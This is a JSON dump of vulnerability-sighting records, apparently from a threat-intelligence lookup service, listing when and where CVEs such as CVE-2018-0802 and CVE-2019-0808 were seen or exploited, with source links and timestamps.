{"vulnerability": "-080", "sightings": [{"uuid": "652156be-85a8-4994-83fc-91aa5983460e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/5b0d3b84-c848-45f3-84ba-3cd60a950b0c", "content": "", "creation_timestamp": "2018-05-29T12:11:33.000000Z"}, {"uuid": "2ed30697-2e0c-4e03-9ce7-3f258bf2e78b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/5b34c799-b130-4ab8-9501-43a10a950b0c", "content": "", "creation_timestamp": "2018-07-25T15:17:32.000000Z"}, {"uuid": "9942f3f1-0d9b-4147-9f56-76a71f105563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/5ddcfb2c-6cec-45ec-b383-375b0a3b4631", "content": "", "creation_timestamp": "2020-06-01T16:28:49.000000Z"}, {"uuid": "999592ff-a0bb-4a0d-9978-7aafa960e013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/5ab3b89e-7514-41b4-b842-402f02de0b81", "content": "", "creation_timestamp": "2018-03-22T14:09:48.000000Z"}, {"uuid": "09105558-9bc1-4879-9f46-699ec3c22999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/5aba062a-8118-4885-afe0-469402de0b81", "content": "", "creation_timestamp": "2018-03-27T09:03:26.000000Z"}, {"uuid": "8b33721b-5299-44eb-b6ec-b856c9161f47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/5b768d19-6320-4b9a-b821-6aa2ac12042b", "content": "", "creation_timestamp": "2018-08-17T10:17:34.000000Z"}, {"uuid": "23fc7705-70a5-493c-ae36-dc98d995ba08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/5d307d92-3514-4a9b-9840-0a540a950b0c", "content": "", "creation_timestamp": "2019-07-18T14:16:29.000000Z"}, {"uuid": "b1e14e55-670b-4f5d-a85f-0fac079cde18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/5d307d92-3514-4a9b-9840-0a540a950b0c", "content": "", "creation_timestamp": "2019-07-18T14:16:29.000000Z"}, {"uuid": "b9e4858e-ef2e-4741-aca7-0ccf2ef6726a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/5dd69dde-1794-49b3-bacb-4cec950d210f", "content": "", "creation_timestamp": "2019-11-29T15:31:52.000000Z"}, {"uuid": "c9fdaf2b-93b4-4ab1-9eae-fcb2758e99bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/298fe54c-2127-4e44-90dc-047a9d882845", "content": "", "creation_timestamp": "2020-10-19T19:48:47.000000Z"}, {"uuid": "f0267689-2462-44da-ae25-8ce3d93f3cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/8106948a-f7c1-4454-b495-9889083755a5", "content": "", "creation_timestamp": "2020-11-01T17:05:24.000000Z"}, {"uuid": "24c75362-3c66-484e-a32f-ba4648cfddc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/42d04e94-bf5b-427d-acc8-f5d740675941", "content": "", "creation_timestamp": "2020-10-20T15:57:21.000000Z"}, {"uuid": "acac8168-8f68-4ef7-baf1-a74d91479e10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/5f850411-c103-491f-abff-9421425403cf", "content": "", "creation_timestamp": "2020-10-21T08:19:09.000000Z"}, {"uuid": "6193b5a1-3c14-4359-8e23-3c3079e05049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/8d66b598-8174-41d8-bb65-9daad2e5bf97", "content": "", "creation_timestamp": "2020-10-09T13:12:01.000000Z"}, {"uuid": "42348857-3cd2-49a7-aff4-e64fdfc6beb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "c791b636-7c83-4e26-b1c9-897e48877919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "6392a280-081a-4a08-8b75-ef3cbc1d4030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "e538d215-edad-4445-918f-2e0ac22f4799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "7c6524cc-0386-46e7-b8f0-7e81fdb77014", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/d07022ac-5b1b-4600-adc5-98731818a08d", "content": "", "creation_timestamp": "2020-10-09T13:17:53.000000Z"}, {"uuid": "cd066b8a-e643-4308-89ab-b861a4736de6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/6c533960-4b19-43bd-88d2-e3ff3bef6716", "content": "", "creation_timestamp": "2020-10-09T14:12:44.000000Z"}, {"uuid": "281d3c67-f5ab-4f37-9d2a-e5f623320818", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/0cbad1e3-4b6d-413f-a234-8939127e7112", "content": "", "creation_timestamp": "2020-10-09T13:51:49.000000Z"}, {"uuid": "7aa404fa-9f06-4c68-b093-a9a7c93eff3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "f5520ea8-765e-4144-aff6-0ba5f15f2d40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "01d4f2d4-1611-4c37-bf2c-73f8963b27a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/9c86c324-2d28-4616-b4f6-21d24540dcb9", "content": "", "creation_timestamp": "2020-10-09T14:14:29.000000Z"}, {"uuid": "4a3e1106-89cb-4c9c-817b-347bc7ca3461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "MISP/493d0223-34b0-4116-a4f4-8b48f15ed060", "content": "", "creation_timestamp": "2020-10-09T14:41:34.000000Z"}, {"uuid": "5734bd5e-3633-4fa6-b1fa-9c192d13a900", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/0f0e6302-18ce-4342-b5cf-b8468fa5531a", "content": "", "creation_timestamp": "2020-10-09T14:47:33.000000Z"}, {"uuid": "8d627609-c01a-4a6e-a50c-56c80b5cd3e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/045668fa-07bd-434f-9daf-8df514111a2a", "content": "", "creation_timestamp": "2020-10-09T15:47:48.000000Z"}, {"uuid": "0ed05a49-69d8-429d-94ec-e94983e7b7d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/7ea48e81-db85-4da4-9cc0-7a43192e04de", "content": "", "creation_timestamp": "2020-10-09T16:21:59.000000Z"}, {"uuid": "ab53dced-9c3c-472f-9172-c01b831a0140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/0f0e6302-18ce-4342-b5cf-b8468fa5531a", "content": "", "creation_timestamp": "2020-10-09T14:47:33.000000Z"}, {"uuid": "7f6d9a9e-db90-42b4-aba7-8580530d1d7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/1fa7ef9a-3160-4379-a3f7-4ac37e33e1f4", "content": "", "creation_timestamp": "2020-10-09T14:38:57.000000Z"}, {"uuid": "3873f8b5-0799-43f2-a25f-cba4587970e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/2a330185-520a-4481-b9f3-928cd6c2dc8d", "content": "", "creation_timestamp": "2020-10-09T16:07:50.000000Z"}, {"uuid": "cb4772d0-cba9-4fb0-ac14-d2c584a81a0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/e2f94d40-1ef8-488a-98f9-8d6261ee230e", "content": "", "creation_timestamp": "2020-10-09T16:28:21.000000Z"}, {"uuid": "ddd9bdfe-1343-4380-9a39-e0aabdcdbd1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/94c21f22-a02a-4aba-98f1-bcc7bc99ba68", "content": "", "creation_timestamp": "2020-10-09T15:10:12.000000Z"}, {"uuid": "c1a02927-c8e3-4e6d-af88-c91793a2d826", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/6ce53916-8a38-4b0d-84f1-9dd8979f5513", "content": "", "creation_timestamp": "2020-10-09T16:26:58.000000Z"}, {"uuid": "e013501b-26f2-4bba-b0e1-4e0603137aef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/3c5c6bf8-4c3d-48de-8eb3-49f0d290a01a", "content": "", "creation_timestamp": "2020-10-09T16:26:28.000000Z"}, {"uuid": "06863ac9-a436-47dd-9d0f-4140cf5337f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/20444920-6b37-4ead-b180-5a533bb57060", "content": "", "creation_timestamp": "2020-10-19T19:50:03.000000Z"}, {"uuid": "9116603c-dae8-4dea-8897-4b6f13fc3c50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/e3ac7eca-df67-44e4-9ccf-5b8cfa4104d6", "content": "", "creation_timestamp": "2020-10-19T19:49:03.000000Z"}, {"uuid": "2d73c1ca-b081-4efa-aa21-8fc6802d7e42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/d925a2ee-e7cf-46f6-bec1-ad8e19122730", "content": "", "creation_timestamp": "2020-10-20T15:58:04.000000Z"}, {"uuid": "04bc229e-bcfe-45ac-a55b-7c9277266b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/52f8db6b-7392-4e4f-8f59-f25b9f5e0377", "content": "", "creation_timestamp": "2020-11-04T03:00:05.000000Z"}, {"uuid": "ac1a3fff-6d96-451a-80b7-c72930137abc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/866f2e50-efe5-4d58-85c7-33bf3a52443c", "content": "", "creation_timestamp": "2023-03-23T08:35:22.000000Z"}, {"uuid": "442b8853-865f-4490-9252-7e87464a0ca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/972bda22-4cb4-4cb6-954d-ce93e5ec7c67", "content": "", "creation_timestamp": "2022-06-03T07:23:25.000000Z"}, {"uuid": "b3e93f2a-306f-4d98-8537-97a7c909112d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/55996610-9a10-4b25-99ac-301a3667cf02", "content": "", "creation_timestamp": "2022-06-09T10:04:11.000000Z"}, {"uuid": "8269b9b6-435e-49c6-918a-e6490bd08eb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/1d5701e2-6293-497d-a4c0-bf3b16e17404", "content": "", "creation_timestamp": "2023-10-12T10:23:18.000000Z"}, {"uuid": "5ba20306-0be5-4e66-9c64-bc716ff79be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "MISP/2acd7b8b-14ab-4995-bac6-d5e7b10edbfb", "content": "", "creation_timestamp": "2023-12-13T17:40:03.000000Z"}, {"uuid": "dc2d21f3-4763-4dff-9d20-746bd0d48b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0805", "type": "exploited", "source": "https://www.exploit-db.com/exploits/46717", "content": "", "creation_timestamp": "2019-04-16T00:00:00.000000Z"}, {"uuid": "bbb484de-e748-4e58-95b9-b6c914f8ba13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/a8043948-d5d2-4a34-90b6-0d1aa98f9d07", "content": "", "creation_timestamp": "2024-11-14T06:07:07.000000Z"}, {"uuid": "b05d0bf7-bf09-4e0a-a85e-269677fbaaeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-0804", "type": "exploited", "source": "https://www.exploit-db.com/exploits/38250", "content": "", "creation_timestamp": "2013-01-31T00:00:00.000000Z"}, {"uuid": "c754de15-d320-42bf-8a5e-178c8769ae4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-0807", "type": "exploited", "source": "https://www.exploit-db.com/exploits/38236", "content": "", "creation_timestamp": "2013-01-23T00:00:00.000000Z"}, {"uuid": "517f3e9f-40d8-4353-b9f4-6cebb59c0edd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://bsky.app/profile/cyberhexagone.fr/post/3ldz2uesqvs2v", "content": "", "creation_timestamp": "2024-12-23T23:17:55.160364Z"}, {"uuid": "ca916f1b-8d0b-40d2-961f-444ef2a7e53b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2970977", "content": "", "creation_timestamp": "2024-12-24T20:22:34.235401Z"}, {"uuid": "1c2ebf81-1e6c-4ae4-824c-c31d64a49e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971001", "content": "", "creation_timestamp": "2024-12-24T20:22:53.340086Z"}, {"uuid": "7a192309-cddf-4e7d-9593-324625e5f07f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971002", "content": "", "creation_timestamp": "2024-12-24T20:22:54.197415Z"}, {"uuid": "a73bfaa0-0e40-4080-9766-51350da5ed6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971014", "content": "", "creation_timestamp": "2024-12-24T20:23:03.742287Z"}, {"uuid": "4188007a-3d8f-4fbf-96ec-370a7e219f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lebx2nyzht2u", "content": "", "creation_timestamp": "2024-12-27T12:03:47.338307Z"}, {"uuid": "bb2f6c88-d0d0-4cd5-a00a-f4d80ab6a6ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://thehackernews.com/2024/12/cloud-atlas-deploys-vbcloud-malware.html", "content": "", "creation_timestamp": "2024-12-27T10:10:00.000000Z"}, {"uuid": "4b1e1e5b-1ca6-4198-8471-7ba56e179dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0809", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113921353212036749", "content": "", "creation_timestamp": "2025-01-31T05:38:19.159082Z"}, {"uuid": "59539505-357a-422f-b417-85f3dc3979aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0805", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:39.000000Z"}, {"uuid": "e794b3f8-8519-4c7e-a8d5-fff0686992e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:39.000000Z"}, {"uuid": "70a1ad1a-c36c-4017-972e-e2bf2638887b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0809", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzdy3lfcp2f", "content": "", "creation_timestamp": "2025-01-31T06:16:36.785882Z"}, {"uuid": "44d415b4-7877-417d-a67d-ac5db855eb1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:42.000000Z"}, {"uuid": "109a4090-2688-49e9-81a9-14f9278ddd28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-0807", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:40.000000Z"}, {"uuid": "7ee14dc2-f209-4967-b1fd-e81398318fba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-0803", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:41.000000Z"}, {"uuid": "2ef86d99-92d8-413d-8236-d8e90a130c12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0809", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgzi4oxt5x2b", "content": "", "creation_timestamp": "2025-01-31T07:30:47.046331Z"}, {"uuid": "89655fd1-6e09-4ea0-9be5-525005cf0fe1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2015-0802", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:42.000000Z"}, {"uuid": "8d0fdf46-f1b1-4c06-b91a-55f1c58bd2c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:43.000000Z"}, {"uuid": "b24d0d25-885b-4268-90d2-7eaf8b45e73b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0800", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113909183286681020", "content": "", "creation_timestamp": "2025-01-29T02:03:20.945100Z"}, {"uuid": "2338aaaa-e083-42d9-990b-140603b016f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0802", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113909183301080176", "content": "", "creation_timestamp": "2025-01-29T02:03:21.014891Z"}, {"uuid": "04c764bd-b9e2-431e-976d-c735734a7e07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0803", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113909183316922988", "content": "", "creation_timestamp": "2025-01-29T02:03:21.401206Z"}, {"uuid": "e2b790ab-31dd-499b-8fd9-6723cf41072f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0800", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtvluwee62e", "content": "", "creation_timestamp": "2025-01-29T02:15:55.741595Z"}, {"uuid": "7fe05554-2f10-4353-aa57-2e1e86539f75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0802", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtvlxsfo62e", "content": "", "creation_timestamp": "2025-01-29T02:15:58.675027Z"}, {"uuid": "78a78996-ada8-46eb-bd9a-d19f66fe0302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0803", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtvm2bvrf2p", "content": "", "creation_timestamp": "2025-01-29T02:16:01.244012Z"}, {"uuid": "954fb87f-c931-4306-9c4a-5a4d3926c7ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0806", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113909359565595077", "content": "", "creation_timestamp": "2025-01-29T02:48:12.593452Z"}, {"uuid": "efe730c6-57bf-4a12-9c35-d1f51c356c09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0800", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtyvjxml22g", "content": "", "creation_timestamp": "2025-01-29T03:15:05.812341Z"}, {"uuid": "87fa326b-5e48-46ab-ae5e-d2123072e816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0803", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtyvkgmbh2g", "content": "", "creation_timestamp": "2025-01-29T03:15:07.821069Z"}, {"uuid": "934abc54-d0dc-4879-9144-48b45608bb45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0802", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgtyvks6452e", "content": "", "creation_timestamp": "2025-01-29T03:15:09.628149Z"}, {"uuid": "511e64f1-802d-424e-aa2c-60a6ac1753ab", 